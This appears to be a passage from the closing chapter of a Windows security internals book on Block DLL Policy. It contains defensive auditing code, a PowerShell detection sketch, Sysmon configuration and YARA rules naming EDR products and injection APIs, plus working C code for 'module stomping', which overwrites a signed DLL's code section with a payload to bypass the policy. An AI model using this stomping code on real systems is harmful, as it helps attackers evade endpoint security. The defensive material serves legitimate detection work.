│ │ CONTAINED │ │ CONTAINED │ │ CONTAINED │ │
│ └───────────────────┘ └───────────────────┘ └───────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
For defenders facing Block DLL abuse, detection centers on identifying anomalous policy usage. While the policy itself is legitimate, its application in certain contexts—particularly by processes that don't typically spawn hardened children—warrants scrutiny.
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
/*
* CheckProcessBlockDLLPolicy
*
* Queries a target process to determine if Block DLL Policy is enabled.
* Useful for security tools auditing the system for potential abuse.
*/
BOOL CheckProcessBlockDLLPolicy(DWORD dwProcessId) {
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_LIMITED_INFORMATION,
FALSE,
dwProcessId
);
if (!hProcess) return FALSE;
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = { 0 };
BOOL bResult = GetProcessMitigationPolicy(
hProcess,
ProcessSignaturePolicy,
&policy,
sizeof(policy)
);
CloseHandle(hProcess);
/*
* Return TRUE if the policy is actively enforcing
* Microsoft-signed-only restriction
*/
return (bResult && policy.MicrosoftSignedOnly);
}
/*
* EnumerateBlockDLLProcesses
*
* Scans all running processes to identify those with
* Block DLL Policy enabled. This baseline can help
* identify anomalous usage.
*
* Expected processes with Block DLL:
* - Browser renderers (chrome.exe, msedge.exe, firefox.exe)
* - Office sandboxed processes
* - Some security tool components
*
* Suspicious processes with Block DLL:
* - cmd.exe, powershell.exe children
* - Unusual parent-child relationships
* - Processes spawned by unknown executables
*/
void EnumerateBlockDLLProcesses(void) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create process snapshot: %d\n", GetLastError());
return;
}
PROCESSENTRY32W pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32W);
int nTotal = 0;
int nBlockDLL = 0;
printf("\n=== Processes with Block DLL Policy ===\n\n");
printf("%-8s %-8s %-40s\n", "PID", "PPID", "Process Name");
printf("%-8s %-8s %-40s\n", "---", "----", "------------");
if (Process32FirstW(hSnapshot, &pe32)) {
do {
nTotal++;
if (CheckProcessBlockDLLPolicy(pe32.th32ProcessID)) {
nBlockDLL++;
wprintf(L"%-8d %-8d %-40s\n",
pe32.th32ProcessID,
pe32.th32ParentProcessID,
pe32.szExeFile);
}
} while (Process32NextW(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
printf("\n=== Summary ===\n");
printf("Total processes: %d\n", nTotal);
printf("Block DLL enabled: %d (%.1f%%)\n",
nBlockDLL,
(float)nBlockDLL / nTotal * 100);
}
/*
* AuditProcessMitigations
*
* Comprehensive audit of mitigation policies for a single process.
* Helps security analysts understand the protection state.
*/
void AuditProcessMitigations(DWORD dwProcessId) {
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_LIMITED_INFORMATION,
FALSE,
dwProcessId
);
if (!hProcess) {
printf("[-] Cannot open process %d: %d\n", dwProcessId, GetLastError());
return;
}
printf("\n=== Mitigation Audit for PID %d ===\n\n", dwProcessId);
/* Binary Signature Policy */
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sigPolicy = { 0 };
if (GetProcessMitigationPolicy(hProcess, ProcessSignaturePolicy,
&sigPolicy, sizeof(sigPolicy))) {
printf("Binary Signature Policy:\n");
printf(" Microsoft Only: %s\n",
sigPolicy.MicrosoftSignedOnly ? "YES" : "no");
printf(" Store Allowed: %s\n",
sigPolicy.StoreSignedOnly ? "YES" : "no");
printf(" Audit Mode: %s\n\n",
sigPolicy.AuditMicrosoftSignedOnly ? "YES" : "no");
}
/* Dynamic Code Policy */
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY codePolicy = { 0 };
if (GetProcessMitigationPolicy(hProcess, ProcessDynamicCodePolicy,
&codePolicy, sizeof(codePolicy))) {
printf("Dynamic Code Policy:\n");
printf(" Prohibit Dynamic Code: %s\n",
codePolicy.ProhibitDynamicCode ? "YES" : "no");
printf(" Allow Thread Opt-Out: %s\n\n",
codePolicy.AllowThreadOptOut ? "YES" : "no");
}
/* Image Load Policy */
PROCESS_MITIGATION_IMAGE_LOAD_POLICY imgPolicy = { 0 };
if (GetProcessMitigationPolicy(hProcess, ProcessImageLoadPolicy,
&imgPolicy, sizeof(imgPolicy))) {
printf("Image Load Policy:\n");
printf(" No Remote Images: %s\n",
imgPolicy.NoRemoteImages ? "YES" : "no");
printf(" No Low Label: %s\n\n",
imgPolicy.NoLowMandatoryLabelImages ? "YES" : "no");
}
CloseHandle(hProcess);
}
int main(int argc, char* argv[]) {
printf("=== Block DLL Policy Auditor ===\n");
if (argc > 1) {
/* Audit specific process */
DWORD dwPid = atoi(argv[1]);
AuditProcessMitigations(dwPid);
} else {
/* Enumerate all processes */
EnumerateBlockDLLProcesses();
}
return 0;
}
ETW provides kernel-level visibility into DLL load attempts, including those blocked by policy. Defenders can subscribe to the appropriate providers to detect both successful and failed loads.
/*
* ETW-based monitoring for Block DLL events
*
* Key providers:
* Microsoft-Windows-Kernel-Process
* Microsoft-Windows-Security-Auditing
*
* Relevant events:
* Event ID 4688: Process Creation (includes mitigation info)
* Event ID 3: DLL Load (in Security log)
*
* Failed DLL loads generate STATUS_INVALID_IMAGE_HASH
* which can be captured via ETW trace.
*/
/*
* PowerShell detection script for Block DLL abuse:
*
* # Find processes with Block DLL enabled
* $processes = Get-Process
* foreach ($proc in $processes) {
* $mitigations = Get-ProcessMitigation -Id $proc.Id -ErrorAction SilentlyContinue
* if ($mitigations.BinarySignature.MicrosoftSignedOnly -eq 'ON') {
* Write-Output "$($proc.Id) $($proc.Name) - Block DLL ENABLED"
* }
* }
*
* # Monitor for new processes with suspicious mitigation policies
* Register-WmiEvent -Query "SELECT * FROM __InstanceCreationEvent WITHIN 1
* WHERE TargetInstance ISA 'Win32_Process'" -Action {
* $pid = $Event.SourceEventArgs.NewEvent.TargetInstance.ProcessId
* # Check mitigation policies on new process
* }
*/
Sysmon configuration can also capture relevant events, though it cannot directly report mitigation policy settings. However, correlating process creation events with missing EDR module loads provides circumstantial evidence of Block DLL usage.
<!--
Sysmon Configuration for Block DLL Detection
This configuration focuses on:
1. Process creation from suspicious parents
2. Image load events (to detect missing security DLLs)
3. Process termination (for lifecycle correlation)
Analysts should look for processes that:
- Spawn from scripting engines (cmd, powershell, wscript)
- Never load expected EDR DLLs
- Have unusual parent-child relationships
-->
<Sysmon schemaversion="4.50">
<EventFiltering>
<!-- Monitor process creation -->
<ProcessCreate onmatch="include">
<!-- Track processes from scripting engines -->
<ParentImage condition="end with">cmd.exe</ParentImage>
<ParentImage condition="end with">powershell.exe</ParentImage>
<ParentImage condition="end with">wscript.exe</ParentImage>
<ParentImage condition="end with">cscript.exe</ParentImage>
<ParentImage condition="end with">mshta.exe</ParentImage>
</ProcessCreate>
<!-- Monitor DLL loads to detect missing security modules -->
<ImageLoad onmatch="include">
<!-- Track all EXE image loads -->
<Image condition="end with">.exe</Image>
</ImageLoad>
<!-- Monitor for EDR-related DLL loads -->
<ImageLoad onmatch="include">
<!-- Common EDR DLL patterns -->
<ImageLoaded condition="contains">CrowdStrike</ImageLoaded>
<ImageLoaded condition="contains">SentinelOne</ImageLoaded>
<ImageLoaded condition="contains">CarbonBlack</ImageLoaded>
<ImageLoaded condition="contains">Cylance</ImageLoaded>
</ImageLoad>
</EventFiltering>
</Sysmon>
Block DLL Policy, while effective, is not impenetrable. Understanding bypass techniques helps defenders anticipate adversary evolution and helps security researchers identify areas for improvement.
The policy prevents loading new DLLs, but doesn't prevent modifying DLLs already loaded. If a Microsoft-signed DLL is present in the process, an attacker can overwrite its code section with malicious payload.
#include <windows.h>
#include <stdio.h>
/*
* Module Stomping
*
* This technique bypasses Block DLL by overwriting the code
* section of an already-loaded Microsoft-signed DLL.
*
* The key insight is that Block DLL Policy only validates
* signatures during DLL load. Once loaded, the DLL's code
* pages can be modified if we change their protection.
*
* Common targets:
* - mshtml.dll (large, rarely fully used)
* - clrjit.dll (if .NET present)
* - Any large system DLL with unused code paths
*/
BOOL StompModuleCodeSection(
LPCWSTR wszModuleName,
PBYTE pPayload,
SIZE_T sPayloadSize
) {
HMODULE hModule = GetModuleHandleW(wszModuleName);
if (!hModule) {
printf("[-] Module not loaded: %ls\n", wszModuleName);
return FALSE;
}
PBYTE pBase = (PBYTE)hModule;
/* Parse PE headers to find .text section */
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBase;
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) {
printf("[-] Invalid DOS signature\n");
return FALSE;
}
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pBase + pDos->e_lfanew);
if (pNt->Signature != IMAGE_NT_SIGNATURE) {
printf("[-] Invalid NT signature\n");
return FALSE;
}
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
/* Find the .text (code) section */
if (memcmp(pSection[i].Name, ".text", 5) == 0) {
PBYTE pCodeSection = pBase + pSection[i].VirtualAddress;
SIZE_T sCodeSize = pSection[i].Misc.VirtualSize;
printf("[*] Found .text section at %p (size: %zu)\n",
pCodeSection, sCodeSize);
if (sPayloadSize > sCodeSize) {
printf("[-] Payload too large for section\n");
return FALSE;
}
/*
* Make the code section writable.
* This is the key step - we can modify protected
* memory if we first change its protection.
*/
DWORD dwOldProtect;
if (!VirtualProtect(
pCodeSection,
sPayloadSize,
PAGE_EXECUTE_READWRITE,
&dwOldProtect
)) {
printf("[-] VirtualProtect failed: %d\n", GetLastError());
return FALSE;
}
/* Overwrite with our payload */
memcpy(pCodeSection, pPayload, sPayloadSize);
/* Restore original protection (optional) */
VirtualProtect(pCodeSection, sPayloadSize, dwOldProtect, &dwOldProtect);
printf("[+] Module stomped successfully\n");
printf("[+] Payload at: %p\n", pCodeSection);
return TRUE;
}
}
printf("[-] .text section not found\n");
return FALSE;
}
Module stomping works because Block DLL Policy operates at the point of load, not continuously. Once a DLL's pages are mapped, they become regular memory subject to standard protection mechanisms.
Block DLL Policy operates in usermode. Attackers with kernel access (via vulnerable drivers or other kernel exploits) can bypass these protections entirely by operating below the enforcement layer.
This technique, while largely mitigated on modern Windows, demonstrated another bypass approach: creating a process from a transacted file that's rolled back before the process runs. The process executes from memory with no backing file, evading file-based signature checks.
For security teams defending against Block DLL abuse, a multi-layered approach is essential:
┌─────────────────────────────────────────────────────────────────────────────┐
│ DEFENSE IN DEPTH AGAINST BLOCK DLL │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Layer 1: Kernel Visibility │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ • Kernel-mode ETW providers │ │
│ │ • Minifilter drivers (file system, registry) │ │
│ │ • Process/thread creation callbacks │ │
│ │ • Image load notifications │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
│ Layer 2: Process Creation Monitoring │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ • Track mitigation policy flags on new processes │ │
│ │ • Alert on unusual parent-child relationships │ │
│ │ • Baseline normal Block DLL usage (browsers, etc.) │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
│ Layer 3: Module Load Analysis │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ • Detect missing security DLLs in processes │ │
│ │ • Monitor for DLL load failures (STATUS_INVALID_IMAGE_HASH) │ │
│ │ • Compare loaded modules against expected baseline │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
│ Layer 4: Behavioral Detection │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ • Network connection analysis │ │
│ │ • File system activity correlation │ │
│ │ • Registry modification tracking │ │
│ │ • Memory anomaly detection │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
rule BlockDLL_Policy_Usage {
meta:
description = "Detects code that implements Block DLL Policy"
author = "Security Research"
date = "2024-01"
strings:
/* API function names */
$api1 = "SetProcessMitigationPolicy" ascii wide
$api2 = "UpdateProcThreadAttribute" ascii wide
$api3 = "InitializeProcThreadAttributeList" ascii wide
/* Policy identifiers */
$policy1 = "ProcessSignaturePolicy" ascii wide
$policy2 = "PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY" ascii wide
/* Common constant patterns */
/* PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON */
$const1 = { 00 00 00 00 00 00 10 00 }
/* String indicators */
$str1 = "MicrosoftSignedOnly" ascii wide
$str2 = "Block DLL" ascii wide nocase
$str3 = "BLOCK_NON_MICROSOFT" ascii wide
condition:
uint16(0) == 0x5A4D and /* MZ header */
(
(any of ($api*) and any of ($policy*)) or
(2 of ($api*) and $const1) or
(any of ($api*) and any of ($str*))
)
}
rule BlockDLL_EDR_Evasion_Pattern {
meta:
description = "Detects patterns suggestive of Block DLL for EDR evasion"
author = "Security Research"
strings:
/* Combined technique indicators */
$attr1 = "PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY" ascii wide
$attr2 = "PROC_THREAD_ATTRIBUTE_PARENT_PROCESS" ascii wide
/* Suspension indicators */
$susp1 = "CREATE_SUSPENDED" ascii wide
$susp2 = { 04 00 00 00 } /* CREATE_SUSPENDED value */
/* Extended startup info */
$ext1 = "EXTENDED_STARTUPINFO_PRESENT" ascii wide
$ext2 = "STARTUPINFOEX" ascii wide
/* Injection indicators nearby */
$inj1 = "VirtualAllocEx" ascii wide
$inj2 = "WriteProcessMemory" ascii wide
$inj3 = "SetThreadContext" ascii wide
condition:
uint16(0) == 0x5A4D and
($attr1 and $attr2) and /* Both attributes used */
any of ($susp*) and /* Suspended creation */
any of ($inj*) /* Followed by injection */
}
Block DLL Policy embodies the dual-use nature of security technology. As a defensive measure, it provides robust protection against DLL injection attacks, enabling application developers and browser vendors to create hardened environments where only trusted code executes. As an offensive technique, it allows adversaries to create processes immune to userspace security monitoring.
| Aspect | Defensive Use | Offensive Use |
|---|---|---|
| Purpose | Prevent malicious DLL loading | Prevent security DLL loading |
| Target | Malware, exploits | EDR, AV, monitoring agents |
| Effect | Hardens application | Creates blind spot |
| Beneficiary | Legitimate software | Attacker |
| Implementation | Process mitigation policy | Same mechanism |
| Reversibility | Cannot be disabled | Cannot be disabled |
Key takeaways from this chapter:
This concludes our exploration of Windows security internals. Throughout these chapters, we have journeyed from the earliest moments of system boot through kernel protections, usermode security mechanisms, evasion techniques, and the sophisticated cat-and-mouse game between attackers and defenders. Each mechanism we've studied exists within a larger ecosystem—protections and bypasses, defenses and evasions, each driving the evolution of the other.
Understanding these technologies deeply—both their intended purposes and their potential for abuse—is essential for anyone working in security. Whether your goal is to defend systems, test their resilience, or advance the state of the art, this knowledge forms the foundation upon which expertise is built.